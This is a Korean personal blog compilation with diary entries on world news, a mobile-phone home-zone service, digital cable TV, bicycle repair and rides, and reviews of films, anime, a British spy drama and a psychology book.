3월 24일 부탄에서는 이대로 가면 인도, 중국에 밀린다고 생각한 국왕이 총선을 실시해 입헌군주제로 나라를 바꿨다. 부탄 국민은 '이런 걸 왜 하나' 심드렁하게 선거에 참가했다고 한다. 대만에서는 국민당의 마잉주가 당선되었다. 대만증시가 매력적이 되는 바람에, 한국증시에는 그다지 좋은 영향을 끼치지 않을 듯. 러시아에서는 예상대로 메드베데프가 대통령이 되었다. 미얀마는 민주화에 실패하고 많은 중들이 죽거나 두들겨 맞았다. 티벳인은 중국인에게 학살당했다. 후쿠다의 지지율은 꾸준히 추락하고 있다. 차기는 민자당의 오자와가 유력하지 않을까? 자민당이 그만큼 말아먹었으면 정권 교체 할 때도 되었지. 이라크에서는 죽어라고 폭탄이 터지고 있다. 파키스탄에서는 질라니 인민당 당수가 총리로 선출되었다. 팔레스타인은 내부 분열로 갈등이 해결될 조짐이 보이지 않는다.  이스라엘의 가자 봉쇄 해제는 기약이 없다. 언제 봐도 재수없는 딕 체니는 팔레스타인만 조지고 있다. 최근의 부시는 모래 구덩이에 머리를 박은 칠면조같다.

부활절에 비가 왔다. 올 부활절에는 찐계란을 얻어 먹지 못했다.

LGT의 기분존 알리미 기계를 사무실에서 빼내 집에서 써 보다가 다시 사무실로 가져가 쓰려고 하니 기분존 서비스를 사용할 수 없다고 나온다. LGT에 기분존 알리미 기계를 '재등록'하고 나서야 다시 사용할 수 있게 되었다. 안내양 말로는 그런 '재등록'은 한 달에 두 번 이상 할 수 없단다. 서비스 설명서를 제대로 안 읽은 탓인지 그런 문구는 금시초문. 사실 기분존 서비스의 정확한 정의도 아직 모르겠다.

아무튼, 내가 잘못 봤는지, LGT에서 기분존 서비스에 대한 자세한 정보를 얻지 못한 탓에, 평소부터 작동 방식이나 컨셉이 궁금했던 기분존 알리미 기계에 관한 예전 추측에 내멋대로 살을 붙였다.  휴대폰과 알리미가 블루투스 페어링을 한 다음, 휴대폰은 알리미에서 전송받은 고유 등록 번호(를 비롯한 일종의 다이제스트 코드 블럭?)와 함께 셀 기반 위치 정보를 LGT에 전달하고 이 정보를 바탕으로 기분존 서비스를 사용할 수 있다. 셀 위치 정보가 두 번 이상 달라지면 알리미 서비스를 중단한다.

요약하자면, 기분존 서비스는 휴대폰이 지닌 가장 중요한 장점인 이동성을 포기할 때 혜택을 입는 희안한(?) 서비스다. 의문은, 기분존 요금 및 서비스로부터 LGT가 어떤 이익과 단가 경쟁력을 얻길래 그런 요금제를 상품화할 수 있는가? 그리고 굳이 알리미 기계를 사용해야만 하는 이유는?

추측하기로, 특별히 하는 일도 없이 휴대폰의 블루투스 페어링 상태를 유지하기 위해 양쪽 기계 모두에서 쓰잘데기 없이 전기를 처먹는 알리미 기계가 굳이 필요한 이유는 블루투스 통달 거리를 기분존 서비스 반경으로 정하기 위해서다.

일이 바빠 SPH-M4650의 셋업은 우선순위에서 밀려 있다. 하루 3시간 가량 PDA로 글을 읽으면 배터리가 거의 다 떨어지는 것을 여전히 해결하지 않았다; 뭐 xcpuscaler로 다운클럭후 테스트해 보기.  한 가지, 블루투스와 전화기를 꺼놓고 PDA만 사용해도 전력소비량에 큰 변화가 없어 보인다. 역으로, PDA를 사용 안하고 전화기를 켜둔 채 방치해 두면 50시간 이상 버티는 것 같다. Palm 계열의 battery checker program도 하나 구해서 정확한 사용시간을 알아봐야 할 듯.

작년, 올초까지 케이블 방송에서 케이블 TV를 디지탈 방송 상품 교체하라고 귀찮게 굴었다. 특별히 교체할 이유가 없었지만 금액은 같고 채널 수를 더 늘려준다길래 그럼 그러라고 했다.

집 TV가 NTSC 시그널을 받는 아날로그 TV라 디지탈 방송으로 바꾼다고 화질이 현저하게 좋아지는 것도 아니고, 케이블 방송 채널 대부분이 아직 디지탈 컨텐츠를 제작하는 것도 아니라서 바꾼다고 특별히 좋아질 것은 없다.

5년 후 전면 디지탈 방송이 시행되면 지금 TV로는 디지탈 방송을 시청할 수 없게 된다던데, 아내는 그때쯤 되면 집에서 TV를 치우자고 말한다. 나야 밥 먹을 때 YTN 뉴스 정도나 볼 뿐 TV 볼 일이 없으니 있으나 없으나 상관없지만 아내가 TV 없이 잘 지낼 수 있을까?

저번 주 일요일 오후에 교체 작업/셋업을 하러 왔다. 셋업 박스를 설치하고 케이블 모뎀도 교체했다. 인터넷 속도가 느려지지 않는다고 기사가 말한다. 인터넷 속도 느려지는 것하고 디지털 케이블 방송하고 무슨 상관이지?

양군에게 물어보니 IPTV 설치하면 인터넷이 느려진단다. 그런가? 디지털 방송은 원래 TV의 NTSC 대신에 시그널링을 디지털로 해서 방송을 송출하는 것이니 당연히 밴드가 다른 인터넷 전송선로에 영향을 끼치지 않는다. 그런데 IPTV는 기존의 인터넷 망을 통해 VOD를 전송하기 때문에 VOD 방송을 보고 있으면 인터넷이 느려진다는 것이다. 그래서 기사가 부러 IPTV와는 다르다는 것을 강조하기 위해 인터넷이 느려지지 않는다고 말한 것이구나... 왠지 좀 괴상한데...

국내는 상관없지만, 요즘 들어 외국 접속해서 다운 받는 속도가 현저하게 떨어졌다. 케이블 모뎀 교체 후에도 나아지지 않았다.

단순히 디지털로 전송만 해주는 줄 알았는데(전송 포맷은 MPEG2) IPTV처럼 Video On Demand 기능이 포함되어 있다. 그 때문에 땡 잡은 기분이 든다. 디지탈 방송을 처음 써보고(주변에 써본 사람도 없고) 좋은 TV를 써본 적이 없어 디지털 케이블 방송으로 바꾸면서 개인적으로 흥미로웠던 기능들:
  • 채널 검색: 가나다 또는 알파벳으로 키워드 첫 글자를 입력하면 전 채널의 현재 방영중인 프로그램을 검색해서 표시해준다.
  • 방송일정표: EPG 정보가 화면에 나타난다. 즉 지금 시청중인 프로그램 이후 방송을 리스트업할 수 있다.
  • 채널 예약: EPG중 Ok 버튼을 눌러 채널 예약해 두고 다른 방송 시청하고 있으면 예약된 시간에 맞춰 팝업 윈도우가 떠서 채널 전환할 것인지 묻는다.
  • 셋탑 박스 리모컨: 집 TV 제조 메이커가 망했고 중소기업이라 리모컨 구할 일이 난감했는데(유니버셜 리모컨도 제각각이라 어떤 것을 골라야 할 지 알 수 없다) 셋탑 박스의 리모컨에서 그냥 잡힌다.
  • VOD: 밀려서 못 본 드라마를 볼 수 있다. 나하고는 상관없지만. 리모컨으로 REW, FF를 쓸 수 있다. REW, FF 없이는 TV로 프로그램 보는게 영 지루하다. 게다가 PC HDD를 쓰는 것도 아니고.
아쉬운 점

  • 셋탑 박스의 부팅 속도가 (참 거지같이 만들어놨다는 생각이 절로 들 정도로) 매우 느리다. (뜬금없이) 삼성에서 만든 거라서 그런가?
  • 셋탑 박스에 이더넷 포트가 있는데 PC와 연결해 MPEG2 엔코딩된 것을 PC의 HDD에 녹화할 수 있도록 해 주거나, 반대로 HDD에 있는 파일을 재생할 수 있게 해줬더라면 정말 좋았을 것 같다.
  • 인터넷은 왜 안 되는 거야?
  • 아날로그 케이블 방송에 비해 볼만한 채널 수가 줄었다.
VOD 채널이 항상 비어 있어 테스트를 못해 봤다. 기사 말로는 시스템 상의 오류이므로 고쳐준다더니 그네들 시스템 리셋만 해 보고 일주일이 지나도 상태가 그대로다. VOD야 볼 일이 거의 없으니 그렇다쳐도 일반 방송이 잘 나오다가 자주 멎었다(black out/no signal). 담주에 기사를 불러야 할 것 같다.

한강변 자전거 주행: GPS 장착
올해 들어 처음으로 자전거를 타러 나갔다. 독바위 역 앞에 있는 자전거 펌프는 전원이 꺼져 있었다. 가볍게 워밍업 한다는 생각으로 2시간 30분 동안 한강 고수부지 일대를 돌아다녔다. 그중 실 주행시간은 2시간 남짓.

자전거의 보전 상태가 양호해 핸들바의 먼지만 닦고 탔다. 체인이 조금씩 튀어서 신경이 거슬린다. 또, 앞 디레일러의 이격이 정확히 맞지 않아 2->3단 전환은 잘 되지만 3->2단 전환이 잘 되지 않는다.

Garmin Vista HCx를 처음 마운팅해 본다. 액정의 가독성은 생각보다 양호하다. GPS로 재보니 이동평균속도가 18.4Kmh로 나왔다. 예전 GPS로 18kmh와 지금 GPS의 18kmh는 의미가 다르다. 예전 것은 정지되어 있는 동안에도 속도 평균을 계산하므로, 평균값을 까먹었다. 하여튼 겨울 동안 뱃살이 손에 잡힐 정도로 붙었고, 그간 운동이 부족했다. 시내 주행을 빼고 걸리적거리는게 없는 평지라면 올해는 이동평균이 25kmh 정도는 나와줘야...

고수부지에 있던 많은 수의 매점들이 사라졌다. 이젠 고수부지 갈 때 미리 간식꺼리를 준비해야 하는건가? 자전거 타다가 매점 앞에 앉아 컵라면 먹는게 낙이었는데... 언젠가 뉴스에서 본 예정대로 매점은 대부분 철거한 것 같은데, 세븐 일레븐은 컨테이너를 들여놓고 영업 중이다.
어쨌든 매점이 사라져 생수를 살 데가 없어서 한강변의 생명수인 아리수라도 마시려고 찾았지만 동절기 동안 수도꼭지를 막아놓는다는 안내문만 달랑 붙어있어 물 한 모금 마시지 못하고 매우 건조한 상태로 집에 돌아왔다.

점퍼
스티븐 굴드의 소설을 영화화한 Jumper. 주인공은 피지에서 서핑을 마치고 스핑크스 머리 위에서 점심 식사를 한다. 옛날 프랑스군 점령 시절 사격연습 한답시고 코를 뭉개놓은 그 스핑크스. 화면 중앙은 기자 피라미드 중 카프레의 것. 의아한 것은 스핑크스 옆이 출구라 관광객들이 우글거리는데 스핑크스 대가리에서 어떻게 한가하게 식사를 할 수 있을까?

점퍼
로마의 콜로세움에서 여자친구에게 잘난척 하려는 씬을 찍는 류의 촬영 허가가 났다는게 대체로 신기했다. 점핑해서 간 곳들은 몇 안되면서 생각없는 십대가 나와 설쳐서인지 영화는 부족하고 아쉬웠고 그래서 재미가 없다. 결투는 삥마용에서, 점심은 티칼에서, 파도는 그레이트 리프에서, 저녁에 맥주 한 잔 하기는 고아가, 별장은 겐팅 하일랜드나 치앙마이에 두고 긴급 대피처는 아파미아나 포카라가 바람직해 보인다. 십대 관광지 정도나 나올법한 애들 판타지에 뭘 기대할 수 있겠냐만은, 영화도 그 지경이면 좀...

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마인드 게임, 유아사 마사아키의 애니메이션. 클레이모어 애니판 3화쯤 보다가 기분을 잡쳐서 뭐 재밌는 애니 없을까 뒤지다가 우연히 눈에 띄었다. 실은 예전에 못 본 것 같아서 그냥 다운받아 보았다.

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사랑 고백하는 장면. 씬에 낭비가 없어서 정신 차리고 애 재우고 제대로 감상 시작.

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여자친구가 강간 당할 처지인데 구석에서 벌벌 떨다가 똥고에 총 맞고 비참하게 죽은 주인공. 친절한 자막.

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얼마나 낯 뜨겁게 죽었는지 입체적으로 주인공의 죽음을 보여준 신.

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새 삶을 살게 되자 마자 고래 뱃속에 갇혔다가 빠져 나오기 위해 갖은 발버둥을 친다. 이 부분부터 클라이막스. 훌륭한 시퀀스.

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용기를 내서 살라는 평범한 교훈을 담은 2004년 작. 극이 끝나가면서 도무지 뭘 보여주겠다는 것인지 이해가 안 가던 극의 도입부를 미세 변주 리플레이하면서 '이 극화는 결코 끝나지 않는다' 라고 마무리 짓는다. 작화가 어째 철콘 근크리트와 비슷하다고 생각했지만 아닌 것 같다.

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어, 그런데 이 장편 애니 장난 아니다. 정신이 번쩍 든다. 이런 류를 단편으로 만드는 건 식상하다 싶을 정도로 봤지만 장편이면 얘기가 달라진다. 버릴 것 없고 지방끼 없이 날씬한 씬들이 리드미컬하게 줄줄이 이어진 장편이다. 감독을 맡은 유아사 마사아키로 뒤져보니, 이노센스, 스팀보이, 하울의 움직이는 성 등 당해 거장들(?)의 작품을 제치고 제 8회 문화청미디어 예술제 대상 수상했단다. 언급된 세 작품 모두 경쟁상대라고 보기엔 영 찌질스러운 것들 뿐이라 마인드게임이 상 받는 것은 당연하다.


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there's world elsewhere

잡기 2007. 10. 31. 19:37
400줄 짜리 간단한 File System Notification 클래스를 하나 만들어서 도와줬더니 그거 코드프로젝트나 코드 구루에 올려보는게 어떻냐고 한다. 올릴 수야 있지만 올리기 위해 들여야 하는 과정이 너무 귀찮아서 안했다. 구글 뒤져보면 있는데 뭣하러? 구글에 없단다. 구글 뒤져보니 쓸만한 것은 없었다.

운전면허 갱신. 새로 받은 운전면허증을 보니 1종 보통 면허를 1994년에 땄다. 두 번의 적성검사를 받았고 이전 것은 10년 무사고 때문에 말 많던 그린 면허증이었다. 적성검사는 간단한 시력 측정, 색맹 측정(보여요? 예. 끝), 앉았다 일어서기가 전부였다. 면허만 갱신하고 13년째 차를 안 몰고 있다. 뭐, 한국에는 저렴한 가격에 맘에 드는 모양을 가진 차가 없기도 했다. -_-

화창한 토요일에 자전거를 정비했다.
자전거 수리: Bottom Bracket 분리

패달과 크랭크 암을 분리하고 Bottom Bracket을 빼내어 정비했다. 이걸 빼고 깨끗이 닦은 다음 그리스칠을 해서 조립하는 비용으로 2년전 자전거 가게에 3만원을 줬다. 공구 가격이 6만 2천원이니까 이걸 두 번만 해도 공구 가격은 뽑는 셈.

자전거 수리: Freewheel 분리
프리휠도 분해했다. 분해 조립이 너무 쉬워 희희락락했다. 이렇게 해서(자전거 전체 분해 조립 후) 내린 결론은, 자전거 정비 중 가장 시간이 많이 걸리는 부분이 앞 디레일러 조정이다. 어쩌면 자전거가 싸구려라 앞 디레일러의 유격 조절이 어려운 것일지도 모르겠다. 하다 보면 짜증난다.

플라스틱 스프라켓 가드를 닦아 말리다가 바람에 날아가 옆집 담장 너머로 사라졌다. 2m가 넘는 담을 넘어 꺼내오면서 팔 다리에 생채기가 났다. 남의 집 담을 넘는 것은 참 오랫만인 듯.

스푹스 6화. 멋진 장면이 나온다. 두 스파이가 대면하면서 벌이는 의식. 이 드라마는 볼만한 드라마였던 것이다. 경찰을 짭새라 부르는 것처럼 스파이를 스푹스라고 부르는 것 같다. 국민 대다수가 술이나 퍼마시며 축구에 미쳐 지내는 후진국으로만 알고 있던 영국의 드라마 두 편이 연달아 볼만했다는 것이 흥미롭다. 이를테면 점차 쓰레기 같아지는 히어로즈나 프리즌 브레이크에 비하면 말이다. 게다가 이들은 프로다. 친구는 도움이 안되고, 믿을건 오직 적밖에 없단 것을 안다. 스파이물의 전형을 따르면서도 스파이의 교조적 정의를 현대적으로 해석했다. 예전 스파이가 habit을 가지고 있다면 지금의 스파이는 hobbit을 가지고 있다. MI5의 구호가 Regnum defende(Defence of The Realm)였다. 개들이 자기 구역을 돌아다니면서 오줌을 싸는 것을 라틴어로 말하면 저렇게 되는 것 같다. 갖은 궁상은 다 떨지만, 비열하고 냉정하며 손속이 매서운 스파이를 가감없이 묘사한다. 종종 미국을 등장시켜 엿먹이며 영국인들끼리 희열을 느끼는 것 같다. 이렇게 말하면서; Oh well, needs must.

키이쓰 E. 스타노비치 - 심리학의 오해  - 영문 제목이 How to think straight about psychology 6th Ed. 였던 것으로 기억.  그게 어쩌다 변명같아 보이는 한글판 제목을 달았을까.
 책 내용을 보면 그런 변명이 주저리주저리 언급된다. 훌륭한 저술이었고, 심리학에 관한 오해를 푸는데 큰 도움이 되었다. 다 읽고난 후 책 제목이 납득이 갔다.
흔히 영화나 연극에서 독서를 즐기는 사람은 책에 몰입하는 것이 세상과의 상호작용을 대신하는 것으로 보이며, 고독하고 다소 염세적이며 자기 몰입적인 성격으로 묘사된다. 그렇지만 이 연구는 이러한 고정관념이 신화에 불과하단느 사실을 증명하고 있다. 독서를 즐기는 사람은 내성적이거나 사회적으로 버림받기는 커녕, 광범위한 사회적/문화적 활동을 보이며 적극적인 흠잡을 데 없는 사람으로 보인다. (일반적인 생각과는) 정반대로 독서를 즐기는 사람들은 많은 측면에서 그렇지 않은 사람들보다 훨씬 적극적이다.
통속적 신념의 검증 과정에서 나타난 한 조사 결과. 한국의 독자들이 자폐증 찌질이 같다고 생각해 왔는데, 놀랍다. 이런저런 블로그에 가면 몹시 거지같은 책에 관한 열성적인 호평이나 뭘 읽은건지 생각은 하면서 책은 읽는 건지 상관없이 되는대로 떠들어 대는 이유가 높은 외향성 때문일 줄이야...
닉커슨은 브로노프스키와 마찬가지로, "과학이 성공을 거둘 수 있었던 것은 모든 과학자들이 자신의 아이디어에 대해 비판적 태도를 취해서가 아니라... 다른 과학자들이 견지하고 있는 가설이 틀렸음을 증명하려는 동기가 무척 높기 때문이다"라고 믿는다.
리처드 도킨스, 스티븐 굴드나 에드워드 윌슨이 존경받는 이유는 시기심 많은 동료 과학자들의 무자비하고 파상적인 공격을 성공적으로 방어하고 자신의 가설을 어떻게든 생존시켰기 때문이다. 그래서 그들이 날이 갈수록 자신감이 쌓여 뻔뻔해져 갔던 것이다.
플라세보 효과의 개념은 오즈의 마법사라는 영화에서 잘 예시되었다. 마법사가 실제로 깡통인간에게 심장을, 허수아비에게 두뇌를, 그리고 사자에게 용기를 준 것이 아님에도 불구하고, 이들은 모두 나아졌다고 느꼈던 것이다.
오즈의 마법사가 메디컬 드라마적인 측면이 있었구나. 마누라가 두피 염증 치료를 위해 한의원에 가는 것을 부정적인 시각으로 바라 보았다. 그 한의원은 탈모 치료를 전문으로 하는 곳인데 한의원에서 나눠준 책이 '모(毛)가 난 사람들, 모가 나지 않은 사람들' 뭐 그런 제목이었던 것 같다. 양방과 달리 한방의 거개 치료기술에 대해 신뢰가 안 생긴다. 치료 효과에 관한 통계 분석을 제대로 하는 것 같지 않아서다. 양방은 그런 면에서 검증할 수 있고, 재현가능한, 수치화된 자료를 제시한다. 하지만 '용한 한의원에 가서 치료를 받았더니 나았다' 자체를 부정하긴 힘들었다. 위약 효과는 실제로 25% 가량의 치료율을 보인다는 어떤 글을 읽은 적이 있다. 용한 한의원에서 믿을만한 한의사에게 몸을 맡기면 희망과 그 자신의 신념에 자연 치유력이 보태지는 셈이다.
생물학자 윌슨(E. O. Wilson, 1998)은 다음과 같은 사실을 지적하면서 처치랜드의 생각이 정확한 이유을 시사한다: "두뇌는 자기 자신을 이해하기 위해서가 아니라 생존하기 위해서 만들어진 기계다. 이 두 목적은 근본적으로 다른 것이기 때문에 과학에서 얻어진 지식의 도움을 받지 못하는 마음이란 세상을 조그만 조각들로만 보게 된다. 마음은 세상에서 다음 날에도 살아남기 위해서 알아야만 하는 부분에다 조명을 비추고 있는 것이다. ... 심지어 오늘날에도 사람들이 자신의 마음보다 자동차에 대해 더 많은 것을 알고 있는 이유가 이것이다 -- 그리고 이것이 바로 마음의 본질적인 설명은 경험적인 것이지 철학적이거나 종교적인 물음이 아닌 이유인 것이다"
지금까지 읽은 책들 치고 윌슨이 언급되지 않은 글을 본 적이 없다. 처치랜드도 가끔씩 나오긴 하지만 윌슨만큼 엄청난 빈도는 아니었다. 훌륭한 문구다. 두뇌는 자기 자신을 이해하기 위해서가 아니라 생존하기 위해 존재한다. 거듭 강조하지만 에드워드 윌슨이 훌륭한 과학자인 까닭은, 한밤중에 으슥한 골목에 주차되어 있는 차를 때려부수는 행동을 실현하는 십대 아이의 두뇌가 얼마나 생존에 밀접한 관련을 맺고 있는지 입증할 능력이 있기 때문이다.
역자주: 여기서 hard science란 전통적인 자연과학, 예컨대 물리학, 화학, 생물학 등을 지칭하는 것이며, soft science란 최근의 컴퓨터과학, 인지과학, 심리학 등을 지칭한다.
역자주: J. R. R. Tolkien은 하이틴 소설을 많이 쓴 문학교수이자 소설가다. 그가 쓴 몇 가지 소설이 우리말로 번역되어 있다. 예컨대 The Lord of the Rings는 마술반지라는 제목으로, The Hobbit는 꼬마 호비트의 모험이라는 제목으로 시중에 나와 있다.
컴퓨터과학이 soft science였었나? '마술반지'라는 하이틴 소설은 한국에서도 빅 히트를 기록했다. 이 책의 1판1쇄는 2003년 1월 10일에 나왔고 역자 서문을 2002년 말에 쓴 것 같다.

해피SF에 들어가보니 '쥬라기 공원'을 SF라고 하더라. 얼마전에 마이클 코디의 '신의 유전자'를 읽었는데 그것도 그럼 SF인 것 같다. 쥬라기 공원은 십몇년 전 한국에서 처음으로 SF 동호회가 결성되고 첫 정기모임을 가질 때 대화의 소재였던 것 같다. 그 얘기를 십몇 년 후에 다시 들으니, 쥬라기 공원이 SF인지 아닌지 별 관심이 안 가는 것과는 상관없이, 정말 감개무량하다.
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자전거 바퀴 정렬

잡기 2007. 10. 14. 16:27
회사에서 펀드계를 만들었다. 매달 직원당 10만원씩 모아 적립식 펀드에 투자하고, 3개월마다 한번씩 100만원을 몰빵해주고, 펀드 수익은 3년 후 나눠갖기로 했다. 손실이 가능한 없도록 우수 중소기업을 발굴해 투자하는 신영밸류고배당주식1호 적립식 펀드에 가입했는데 3년 후에도 수익이 유지될런지는 의문이다. 목표 수익율은 연 15%. 지난 1년간 70% 가까운 수익이 났다.

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동물원. 한 살 넘겼으니 아이의 프라이버시를 존중해 줘야 할 때가 된 것 같다. 뱀과 나만의 시간 같은 것


하늘공원 억새밭

하늘공원 억새밭

올해에는 백만명이 넘는 사람들이 여의도 인근에서 불꽃축제를 본 모양이다. 매년 반복적으로 경험한 '학습효과'에 의해 사람들이 바글거리는 그쪽 방면으로 가지 않고 마침 억세 축제를 하고 있는 하늘 공원에 애를 메고 낑낑거리며 올랐지만 사람 많기는 여기도 마찬가지다. 이런 곳에 왜 놀러가는지 잘 이해가 안 가는데, 마누라 말로는 아이를 위해서란다. 2-3세 무렵이 되면 뇌내 신경세포의 아폽토시스가 일어나 이런 기억들은 깡그리 사라지게 된다. 2-3세 이전 까지는 주로 공포, 상실, 기쁨, 애착, 두려움 등의  원시적 감정을 다루는 소뇌가 발달하는 정서적 개발 과정이 주가 된다. 말문이 트이기 시작하는 18개월 이후부터 본격적인 대뇌피질의 개발이 시작되는 것 같은데(아울러 양 뇌엽을 연결하는 뇌량도) 이해하지도 못할 세계를 보여줘봤자 뭐하겠나 싶다.

다양한 체험을 통한 지능 계발은 무슨 놈에 얼어죽을 지능 계발이람. 여성의 경우 지능지수가 15포인트 올라갈 때마다 결혼할 확률은 40%씩 감소한다는 연구 결과도 있다.
플라네테스

플라네테스. 뭔가 EVA 중.

약 일주일 동안 틈틈이 플라네테스 애니를 보았다. 때마침 레널즈의 푸싱 아이스를 함께 읽고 있어서 일주일 내내 '우주 모드'였다. 만화책 플라네테스가 비교적 충실하게 잘 구현되어 있었고 비주얼도 훌륭했다. 음악은 꽝이다. 곰곰히 생각해보니 플라네테스에 나오는 우주개발 기술에 관해 별달리 볼만한 것은 없었던 것 같다(워낙 익숙해서). 그렇다면 플라네테스 만화나 애니가 재미있었던 이유는 그것을 요소요소 잘 배치하고 설득력있게 극화했기 때문이지 싶다.

플라네테스 만화책의 완결을 보지 못한 기분이 그동안 주욱 들었는데, 애니 완결이 만화와 마찬가지로 이미 오래전에 끝이 난 것 같다. 애니에서도 뭔가 채워지지 않은 구멍같은 것이 있었다. 그래서 이게 완결이라니 믿어지지가 않았던 것이다. 데브리스를 치우던 환경미화원이 자기 주제를 잊고 열심히 노력한 끝에 목성 탐사선을 타게 된다. 주인공은 아무 것도 잃은 것이 없다. 워낙 무딘 놈이지만 심지어 사랑도 잃지 않았다. 대사 그대로, 정말 복을 타고난 놈이다. 목성에 가게 된 것도 무슨 철학이나 사상이 있어서 그렇게 된 것도 아니다. 고딩 시절 오토바이 몰던 것처럼  '빠른 것은 좋은 것이다', '빠르고 큰 엔진은 나를 어디론가 데려다 준다 어딘진 모르겠다' 라는 양아치스러운 생각이 그의 마음과 몸을 움직이는 원인이었다. 십대 방랑기를 삼십대에도 똑같이 해 낼 수 있다는 것, 아무에게도 상처를 주지 않으면서. 불공평한 세계를 개무시하면서.

하여튼 그래서 이런 말도 하게 되는 것이다; 우주의 빈 공간은 마땅히  사랑으로 가득 채워야 한다. 사랑이 틈입하고 스며들 수 있는 우주, 물리적인 우주는 사랑없이는 가혹한 곳이다. 지나치게 가혹하다. 소중한 영혼을 왕따시키고 가늠할 수 있는 증거와 물리량만을 다루는 하드 사이언스는 항상 인류를 불안하게 만들었다. 여자애는 지구에서 애 낳고 빨래나 하면서 살면 된다. 아니면 그럴 듯한 놈을 잡아 결혼하던가.

자전거를 구동시키려면 어느 정도의 수치화(물리)가 필요할까? 앞 뒤 디레일러의 장력을 조절해 프리 휠과 카세트의 적정 위치에 정치시키는 것은 그다지 복잡한 원리로 보이지 않는다. 구동계는 인간이 페달을 통해 토크를 가해 앞뒤 기어셋의 기어비에 따라 바퀴를 회전시킨다. 타이어는 지면에 밀착되고 지표의 수직 방향으로 작용하는 하중을 받아 타이어의 표면 마찰력을 이용해 원운동을 직선운동으로 변환한다.  앞 바퀴의 조향장치(핸들)를 이용해 자전거의 진행방향을 바꿀 수 있다. 바퀴를 정지시키려면 지렛대의 원리로 작동하는 브레이크 레버를 당겨 브레이크 패드가 타이어의 림에서 마찰을 이용해 바퀴를 정지시킨다. 이 정도면 뉴토니안으로 모두 커버된다. 고난을 꿰뚫는 열정, 사랑 따위는 뉴토니안으로 커버되지 않는다. 아무튼 자전거에서 눈에 띄는 발명품은 단연 바퀴다.

자전거 타이어 스레드

원래 타이어의 스레드. 거의 다 닳아 제동이 잘 안된다.

겨우 3년 탔는데 스레드가 다 닳았다. 편마모도 아니고 골고루 다 닳았다. 아마도 급제동 걸 일이 많아서 스레드가 닳았지 싶다. 급제동 걸 일이 많았다는 것은 그만큼 사고가 많이 날 뻔 했다는 얘기가 아닐까?
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개당 6천원 주고 산 새 타이어. 스레드 높이가 5mm 가량.

비싼 타이어는 개당 18000원씩 했다. 그런 타이어를 2개 구매하는 것이 영 마음이 아파 6천원짜리를 사게 된 것이다. 새 타이어의 냄새가 좋다. 원산지가 중국이 아니라 인도네시아라 믿음이 간다. 아무래도 중국은 고무 제품이 아닌 것을 고무같이 보이도록 할 수도 있는 곳이니까.  타이어 규격은 26x2.215. 그런데 림에는 26x1.5 또는 1.85로 적혀 있었다. 일찍 알았더라면 26x1.85 타이어를 시도해 보는 건데. 
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타이어 레버로 타이어 분리 중.

바이크핸드 자전거 공구셋

62,000원 짜리 자전거 수리 공구셋

아울러 정신 차리고 자전거 수리 공구를 구입했다 -- 그동안 공구 안 사고 어떻게든 해보려고 개겼다. 대만제 바이크핸드(bikehand)라는 것인데 이 바닥(?)에서 must have item이라고 할만한 자전거 수리 전문 공구셋이다. superB 것을 구입하려다가 결정적으로 타이어레버가 플라스틱이라 바이크핸드로 마음을 바꿨다. 바이크핸드(대)의 타이어레버는 스테인레스제다. 예전에도 튜브가 펑크나 핸드툴로 수리해 본 적이 있다. 핸드툴에 있는 2개의 플라스틱 레버로는 힘이 많이 들었다. 스테인레스 레버면 하나만 가지고도 타이어를 림에서 쉽게 분리할 수 있다.  뒷 바퀴는 두 번 펑크났다. 펑크는 주로 뒷바퀴에서 나는 모양이다. 아무래도 하중이 그쪽에 쏠려있기 때문인 듯.

타이어를 교체하는 과정:

1. 타이어의 바람을 대기압과 같은 수준으로 뺀다.
2. 타이어 레버로 타이어를 분리한다.  .
3. 튜브를 새 타이어 사이에 거치 시키고 타이어를 림에 끼운다.
4. 다시 타이어에 바람을 넣는다.

3까지는 쉬운데 4번이 문제였다. 핸드 펌프로는 바람을 꽉 채워넣기가 힘들었다. 적당한 정도의 바람을 넣고 불광역에 있는 셀프 전기 펌프를 이용해 바람을 넣기로 했다. 오세훈 서울 시장이 자전거 매니아라 서울시에 자전거 도로를 확충하고(현실적으로 쉽지 않은 일이다) 시내 곳곳에 이런 전기 펌프를 설치해 놓았다. 오세훈 시장을 뽑지 않았지만 그가 서울시에서 행하는 여러 정책은 마음에 들었다.
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새 뒷짐받이 장착 후. 무려 3만9천원이나 하는 Topeak의 Super Tourist 뒷 짐받이

두 장의 철제 스트립으로 안장 QR 레버에 연결. 하중 분산을 위한 세 개의 알루미늄 바나 철제 스트립이 다소 불안해 보이나(다른 방법은 없었을까?) 매뉴얼을 보면 30kg의 하중을 견딜 수 있단다. 이전의 안장 짐받이는 10kg의 하중을 견딜 수 있는데 어디에 박거나 비포장의 막무가내 요철면을 주행하다 보면 안장과 안장 짐받이가 틀어지는 문제가 있다. 생활자전거의 뒷짐받이는 하중을 버티는 수직 바가 하나 뿐이라 패니어 장착이 어렵다 -- 패니어가 뒷 바퀴에 닿을 수 있다.  이래저래 큰 맘 먹고 산 것이다.

얼마전 자전거 사고로 앞 바퀴의 휠이 틀어졌다. 그런 자전거를 타고 저번 주에 시험 주행을 했는데, 평평한 아스팔트에서 마치 요철이 잔뜩 있는 비포장 도로를 주행하는 것처럼 엉망이었다. 앞 바퀴가 좌우로 몹시 흔들리는 모습을 보면서 잔뜩 비를 맞으며 주행하고 나니 의기소침했다. 올해도 다 갔고, 내년에 새 자전거를 살까? 무겁고 여기 저기 망가지고 정비 안하면 안 굴러가는 고물 자전거를 계속 굴리느니 새 자전거를 구입하는 것이 경제적이다. 공구를 사고 타이어를 비롯한 이런 저런 부품을 교체하는데 대략 12만원 가량을 쏟아부었다.

자전거 정비의 마지막 과정으로 휠의 틀어짐을 교정해 보기로 했다. 자전거를 전문으로 수리하는 매장에 있는 캘리퍼 같은 것은 있을 리가 없으니 자전거를 뒤집어서 브레이크 패드에 작은 플라스틱 조각을 바퀴에 거의 밀착시킨 상태로 고정하고 플라스틱과 림 사이의 간격을 가늠하면서 림의 니플에 달린 스포크의 장력을 스포크 렌치로 조절했다.

